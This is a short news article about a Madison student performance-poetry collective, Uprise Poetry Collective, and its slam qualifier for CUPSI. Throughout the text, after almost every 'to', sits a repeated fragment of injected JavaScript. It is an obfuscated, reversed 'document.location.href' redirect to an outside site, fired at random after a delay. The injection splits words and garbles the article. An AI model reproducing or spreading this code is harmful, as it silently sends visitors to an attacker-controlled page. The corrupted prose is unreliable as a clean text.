Performance artists create a poetry collective

“Poetry was like my first love. It was the way I got through so many traumas in my life, so many experiences in my life.”

Jasmine Kiah is a student poet, actress, directobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor and singer. Simply put, performance poetry is when poets act out their original content for audiences in an emotionally compelling way.

“If I was feeling some kind of way and I couldn’t explain it having just a normal conversation, poetry is what I go tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to.”

Friday, a competition will take place here, in Sellery Residence Hall at the Block Box. This competition will decide which student poets make it tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the National Competition, CUPSI, in Chicago. Jasmine will be the performance coach for these student poets.

The qualifier Friday is part of Uprise Poetry Collectives effort tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bring slam poetry back tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to campus. Co-program directobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Penda Smith is looking tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to reinvigorate the Madison Poetry Community.

“In the future, we hope tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make Uprise Poetry Collective not just a slam space but also a space people can write, build and outreach tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to other people outside of the Madison community”